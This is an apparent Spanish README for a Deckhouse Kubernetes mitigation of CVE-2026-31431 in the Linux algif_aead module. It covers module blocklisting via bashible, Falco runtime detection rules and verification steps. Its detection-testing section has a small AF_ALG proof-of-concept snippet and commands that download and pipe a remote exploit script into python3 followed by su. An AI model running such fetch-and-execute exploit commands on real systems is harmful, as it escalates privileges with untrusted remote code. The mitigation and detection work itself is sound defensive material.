
Mitigación nativa de Kubernetes para CVE-2026-31431 con bloqueo automatizado de módulos del kernel, reglas de detección de Falco en tiempo de ejecución y configuración de nodos basada en bashible para clústeres de Deckhouse.
Idioma: Inglés | Русский
CVE-2026-31431 es una vulnerabilidad en el módulo algif_aead del kernel de Linux,
que expone la API criptográfica del kernel al espacio de usuario a través de la familia
de sockets AF_ALG. Un fallo en la interfaz AEAD (Cifrado Autenticado con Datos Asociados)
permite que un usuario local sin privilegios desencadene una corrupción de memoria en el
kernel mediante el envío de listas scatter-gather manipuladas, lo que conduce a una
escalada de privilegios local o una denegación de servicio.
La superficie vulnerable es accesible desde cualquier proceso — incluidos contenedores
sin privilegios — que tenga permitido llamar a socket(AF_ALG, SOCK_SEQPACKET, 0) y
vincularlo a un algoritmo de tipo aead. Los entornos de ejecución de contenedores que no
eliminan el perfil seccomp predeterminado o no restringen la familia de syscalls socket
exponen los nodos del clúster al ataque.
La mitigación recomendada, hasta que el parche oficial del kernel se implemente mediante
actualizaciones de paquetes del sistema operativo, es deshabilitar el módulo del kernel
algif_aead en cada nodo del clúster y detectar intentos de explotación en tiempo de
ejecución.
Este repositorio contiene todo lo necesario para mitigar CVE-2026-31431 en un clúster gestionado por Deckhouse:
ngc-cve-2026-31431.yaml — mitigación del lado del nodoEl NodeGroupConfiguration se ejecuta a través de bashible en cada nodo y realiza
cuatro pasos:
AF_ALG y lo vincula a aead/gcm(aes) para
determinar si la interfaz vulnerable es accesible en el nodo./etc/modprobe.d/disable-algif.conf con directivas
install que evitan que algif_aead (y el paraguas af_alg) se cargue de nuevo,
ya sea manualmente o como dependencia.rmmod algif_aead si el módulo está cargado actualmente.
Se omite si el módulo está compilado en el kernel (en ese caso solo se aplican la
lista de bloqueo + la detección en tiempo de ejecución).Idempotente: volver a ejecutar la configuración en un nodo ya mitigado no tiene efecto.
far-cve-2026-31431.yaml — detección en tiempo de ejecuciónEl recurso FalcoAuditRules añade una regla personalizada de Falco que genera un
evento Critical cada vez que un proceso abre un socket AF_ALG y lo vincula a un
algoritmo aead (el patrón de syscall único de este ataque). También emite un
evento Warning cuando un proceso intenta cargar el módulo algif_aead mediante
modprobe/insmod, que en un nodo mitigado nunca debería tener éxito y es una
fuerte señal de un intento de explotación o una mala configuración del operador.
Nota sobre ediciones:
FalcoAuditRuleses procesado por el móduloruntime-audit-engine, que solo se incluye en Deckhouse Enterprise Edition (EE) y Certified Security Edition (CSE). En Community Edition, el recurso no se procesará; elNodeGroupConfigurationde este repositorio sigue aplicándose y es la mitigación principal.
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE únicamente:
kubectl apply -f far-cve-2026-31431.yaml
Espere a que la configuración se aplique en todos los nodos observando el
estado de cada NodeGroup. Bashible informa del éxito por paso en el
NodeGroup, y Deckhouse lo agrega en dos campos que puede consultar:
.status.upToDate — número de nodos cuya última ejecución de bashible tuvo éxito
con la configuración actual. La convergencia se alcanza cuando
upToDate == nodes para cada grupo..status.conditionSummary.ready — "True" una vez que el grupo está sano;
cambia a "False" con un motivo legible para humanos en
.status.conditionSummary.statusMessage si algún paso de bashible de un nodo
falla (que es exactamente lo que hace el paso de verificación en el
NodeGroupConfiguration en un nodo donde no se pudo aplicar la corrección).Una vista rápida de todos los grupos:
kubectl get nodegroups
NAME TYPE READY NODES UPTODATE ... STATUS MESSAGE
master Static 3 3 3
worker Cloud 5 5 5
Una comprobación automatizable que sale con 0 solo cuando todos los grupos han convergido:
kubectl get nodegroups -o json | jq -e '
.items[]
| select((.status.upToDate // 0) != (.status.nodes // 0)
or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"
Si un NodeGroup se queda atascado con conditionSummary.ready == "False", lea
.status.conditionSummary.statusMessage — que muestra el paso de bashible que falla,
incluyendo el paso de verificación de esta mitigación.
Una vez que el paquete oficial del kernel que contiene la corrección oficial esté instalado en todos los nodos, elimine ambos recursos:
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml
Eliminar el NodeGroupConfiguration no elimina automáticamente
/etc/modprobe.d/disable-algif.conf — límpielo manualmente si desea que el módulo
vuelva a ser cargable, o deje la lista de bloqueo en su lugar si la API criptográfica del kernel
no es utilizada por ninguna carga de trabajo en el clúster.
En todo el clúster:
kubectl get nodegroups
UPTODATE debe ser igual a NODES y la columna de mensaje de estado debe estar
vacía para cada grupo.
En un nodo (SSH o kubectl debug node/<name> + chroot /host):
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"
Resultado esperado:
cat muestra las cuatro líneas de install / blacklist.lsmod está vacío.modprobe -n -v imprime install /bin/false.modprobe devuelve exit=1.Utilice esta subsección para validar que las FalcoAuditRules personalizadas para CVE-2026-31431 realmente se activan en cada ejecución de PoC.
Comprobaciones previas comunes para ambos escenarios:
runtime-audit-engine esté sano en todos los nodos:kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
-o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide
Resultado esperado: DESIRED == READY == AVAILABLE.
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s
# Importante: use -i para que Python reciba el script por stdin
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
Limpieza:
kubectl delete pod cve-31431-test --ignore-not-found
Advertencia de seguridad: revise siempre cualquier script descargado antes de ejecutarlo. No ejecute scripts remotos a ciegas en entornos de producción.
Recomendado (revisar primero, luego ejecutar):
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su
Equivalente de una línea (solo tras revisión/aprobación):
curl https://copy.fail/exp | python3 && su
Comprobar detecciones:
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
| Archivo | Propósito |
|---|
ngc-cve-2026-31431.yaml | NodeGroupConfiguration que sondea la interfaz vulnerable, bloquea la carga de algif_aead, descarga el módulo si está cargado actualmente y verifica que la corrección es efectiva. Se aplica a todos los bundles y grupos de nodos. |
far-cve-2026-31431.yaml | FalcoAuditRules que detecta intentos en tiempo de ejecución de explotar la vulnerabilidad mediante sockets AF_ALG vinculados a algoritmos AEAD. Disponible solo en Deckhouse Enterprise Edition (EE) y Certified Security Edition (CSE), ya que el módulo runtime-audit-engine se incluye en esas ediciones. |